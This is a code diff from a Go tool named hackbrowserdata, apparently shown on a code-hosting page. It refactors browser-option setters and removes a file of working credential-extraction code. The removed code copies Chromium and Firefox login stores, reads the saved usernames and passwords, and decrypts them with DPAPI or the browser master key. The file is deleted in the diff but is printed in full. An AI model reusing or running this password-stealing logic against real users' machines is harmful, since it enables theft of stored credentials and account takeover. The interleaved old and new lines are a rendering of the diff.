| type BrowserOption func(browserOptionsSetter) | ||||
| 
 | ||||
| type browserOptionsSetter interface { | ||||
| 	setProfilePath(string) | ||||
| type Options struct { | ||||
| 	Name            browser | ||||
| 	Storage         string | ||||
| 	ProfilePath     string | ||||
| 	IsEnableAllUser bool | ||||
| 	DataTypes       []DataType | ||||
| 	NewBrowserFunc  func(*Options) (Browser, error) | ||||
| } | ||||
| 
 | ||||
| 	setDisableAllUsers(bool) | ||||
| type BrowserOption func(*Options) | ||||
| 
 | ||||
| 	setStorageName(string) | ||||
| func WithBrowserName(p string) BrowserOption { | ||||
| 	return func(o *Options) { | ||||
| 		o.Name = browser(p) | ||||
| 	} | ||||
| } | ||||
| 
 | ||||
| func WithProfilePath(p string) BrowserOption { | ||||
| 	return func(b browserOptionsSetter) { | ||||
| 		b.setProfilePath(filepath.Clean(p)) | ||||
| 	return func(o *Options) { | ||||
| 		o.ProfilePath = p | ||||
| 	} | ||||
| } | ||||
| 
 | ||||
| func WithDisableAllUsers(e bool) BrowserOption { | ||||
| 	return func(b browserOptionsSetter) { | ||||
| 		b.setDisableAllUsers(e) | ||||
| func WithEnableAllUsers(e bool) BrowserOption { | ||||
| 	return func(o *Options) { | ||||
| 		o.IsEnableAllUser = e | ||||
| 	} | ||||
| } | ||||
| 
 | ||||
| func WithStorageName(s string) BrowserOption { | ||||
| 	return func(b browserOptionsSetter) { | ||||
| 		b.setStorageName(s) | ||||
| 	return func(o *Options) { | ||||
| 		o.Storage = s | ||||
| 	} | ||||
| } | ||||
|  | ||||
| @ -1,185 +0,0 @@ | ||||
| package hackbrowserdata | ||||
| 
 | ||||
| import ( | ||||
| 	"database/sql" | ||||
| 	"encoding/base64" | ||||
| 	"errors" | ||||
| 	"fmt" | ||||
| 	"os" | ||||
| 	"path/filepath" | ||||
| 	"time" | ||||
| 
 | ||||
| 	// import sqlite3 driver
 | ||||
| 	_ "github.com/mattn/go-sqlite3" | ||||
| 	"github.com/tidwall/gjson" | ||||
| 
 | ||||
| 	"github.com/moond4rk/hackbrowserdata/crypto" | ||||
| 	"github.com/moond4rk/hackbrowserdata/item" | ||||
| 	"github.com/moond4rk/hackbrowserdata/log" | ||||
| 	"github.com/moond4rk/hackbrowserdata/utils/fileutil" | ||||
| 	"github.com/moond4rk/hackbrowserdata/utils/typeutil" | ||||
| ) | ||||
| 
 | ||||
| type Password struct { | ||||
| 	Profile     string | ||||
| 	Username    string | ||||
| 	Password    string | ||||
| 	encryptPass []byte | ||||
| 	encryptUser []byte | ||||
| 	LoginURL    string | ||||
| 	CreateDate  time.Time | ||||
| } | ||||
| 
 | ||||
| func (c *chromium) Passwords() ([]Password, error) { | ||||
| 	if _, ok := c.supportedDataMap[TypePassword]; !ok { | ||||
| 		// TODO: Error handle more gracefully
 | ||||
| 		return nil, errors.New("password for c.name is not supported") | ||||
| 	} | ||||
| 	var fullPass []Password | ||||
| 	for _, profile := range c.profilePaths { | ||||
| 		passFile := filepath.Join(profile, TypePassword.Filename(c.name)) | ||||
| 		if !fileutil.IsFileExists(passFile) { | ||||
| 			return nil, errors.New("password file does not exist") | ||||
| 		} | ||||
| 		if err := fileutil.CopyFile(passFile, item.TempChromiumPassword); err != nil { | ||||
| 			return nil, err | ||||
| 		} | ||||
| 		passwords, err := c.exportPasswords(profile, item.TempChromiumPassword) | ||||
| 		if err != nil { | ||||
| 			return nil, err | ||||
| 		} | ||||
| 		if len(passwords) > 0 { | ||||
| 			fullPass = append(fullPass, passwords...) | ||||
| 		} | ||||
| 	} | ||||
| 	return fullPass, nil | ||||
| } | ||||
| 
 | ||||
| func (c *chromium) exportPasswords(profile, dbfile string) ([]Password, error) { | ||||
| 	db, err := sql.Open("sqlite3", dbfile) | ||||
| 	if err != nil { | ||||
| 		return nil, err | ||||
| 	} | ||||
| 	defer db.Close() | ||||
| 	rows, err := db.Query(queryChromiumLogin) | ||||
| 	if err != nil { | ||||
| 		return nil, err | ||||
| 	} | ||||
| 	var passwords []Password | ||||
| 	for rows.Next() { | ||||
| 		var ( | ||||
| 			url, username         string | ||||
| 			encryptPass, password []byte | ||||
| 			create                int64 | ||||
| 		) | ||||
| 		if err := rows.Scan(&url, &username, &encryptPass, &create); err != nil { | ||||
| 			log.Warn(err) | ||||
| 		} | ||||
| 		pass := Password{ | ||||
| 			Profile:     filepath.Base(profile), | ||||
| 			Username:    username, | ||||
| 			encryptPass: encryptPass, | ||||
| 			LoginURL:    url, | ||||
| 		} | ||||
| 		if len(encryptPass) > 0 { | ||||
| 			if len(c.masterKey) == 0 { | ||||
| 				password, err = crypto.DPAPI(encryptPass) | ||||
| 			} else { | ||||
| 				password, err = crypto.DecryptPass(c.masterKey, encryptPass) | ||||
| 			} | ||||
| 			if err != nil { | ||||
| 				log.Error(err) | ||||
| 			} | ||||
| 		} | ||||
| 		if create > time.Now().Unix() { | ||||
| 			pass.CreateDate = typeutil.TimeEpoch(create) | ||||
| 		} else { | ||||
| 			pass.CreateDate = typeutil.TimeStamp(create) | ||||
| 		} | ||||
| 		pass.Password = string(password) | ||||
| 		passwords = append(passwords, pass) | ||||
| 	} | ||||
| 	return passwords, nil | ||||
| } | ||||
| 
 | ||||
| const ( | ||||
| 	queryChromiumLogin = `SELECT origin_url, username_value, password_value, date_created FROM logins` | ||||
| ) | ||||
| 
 | ||||
| func (f *firefox) Passwords() ([]Password, error) { | ||||
| 	if _, ok := f.supportedDataMap[TypePassword]; !ok { | ||||
| 		// TODO: Error handle more gracefully
 | ||||
| 		return nil, errors.New("password for c.name is not supported") | ||||
| 	} | ||||
| 	var fullPass []Password | ||||
| 	for profile, masterKey := range f.profilePathKeys { | ||||
| 		passFile := filepath.Join(profile, TypePassword.Filename(f.name)) | ||||
| 		if !fileutil.IsFileExists(passFile) { | ||||
| 			fmt.Println(passFile) | ||||
| 			return nil, errors.New("password file does not exist") | ||||
| 		} | ||||
| 		if err := fileutil.CopyFile(passFile, item.TempFirefoxPassword); err != nil { | ||||
| 			return nil, err | ||||
| 		} | ||||
| 		passwords, err := f.exportPasswords(masterKey, item.TempFirefoxPassword) | ||||
| 		if err != nil { | ||||
| 			return nil, err | ||||
| 		} | ||||
| 		if len(passwords) > 0 { | ||||
| 			fullPass = append(fullPass, passwords...) | ||||
| 		} | ||||
| 	} | ||||
| 	return fullPass, nil | ||||
| } | ||||
| 
 | ||||
| func (f *firefox) exportPasswords(masterKey []byte, loginFile string) ([]Password, error) { | ||||
| 	s, err := os.ReadFile(loginFile) | ||||
| 	if err != nil { | ||||
| 		return nil, err | ||||
| 	} | ||||
| 	defer os.Remove(loginFile) | ||||
| 	loginsJSON := gjson.GetBytes(s, "logins") | ||||
| 	var passwords []Password | ||||
| 	if loginsJSON.Exists() { | ||||
| 		for _, v := range loginsJSON.Array() { | ||||
| 			var ( | ||||
| 				p           Password | ||||
| 				encryptUser []byte | ||||
| 				encryptPass []byte | ||||
| 			) | ||||
| 			p.LoginURL = v.Get("formSubmitURL").String() | ||||
| 			encryptUser, err = base64.StdEncoding.DecodeString(v.Get("encryptedUsername").String()) | ||||
| 			if err != nil { | ||||
| 				return nil, err | ||||
| 			} | ||||
| 			encryptPass, err = base64.StdEncoding.DecodeString(v.Get("encryptedPassword").String()) | ||||
| 			if err != nil { | ||||
| 				return nil, err | ||||
| 			} | ||||
| 			p.encryptUser = encryptUser | ||||
| 			p.encryptPass = encryptPass | ||||
| 			// TODO: handle error
 | ||||
| 			userPBE, err := crypto.NewASN1PBE(p.encryptUser) | ||||
| 			if err != nil { | ||||
| 				return nil, err | ||||
| 			} | ||||
| 			pwdPBE, err := crypto.NewASN1PBE(p.encryptPass) | ||||
| 			if err != nil { | ||||
| 				return nil, err | ||||
| 			} | ||||
| 			username, err := userPBE.Decrypt(masterKey) | ||||
| 			if err != nil { | ||||
| 				return nil, err | ||||
| 			} | ||||
| 			password, err := pwdPBE.Decrypt(masterKey) | ||||
| 			if err != nil { | ||||
| 				return nil, err | ||||
| 			} | ||||
| 			p.Password = string(password) | ||||
| 			p.Username = string(username) | ||||
| 			p.CreateDate = typeutil.TimeStamp(v.Get("timeCreated").Int() / 1000) | ||||
| 			passwords = append(passwords, p) | ||||
| 		} | ||||
| 	} | ||||
| 	return passwords, nil | ||||
| } | ||||
					Loading…
					
					
				
		Reference in new issue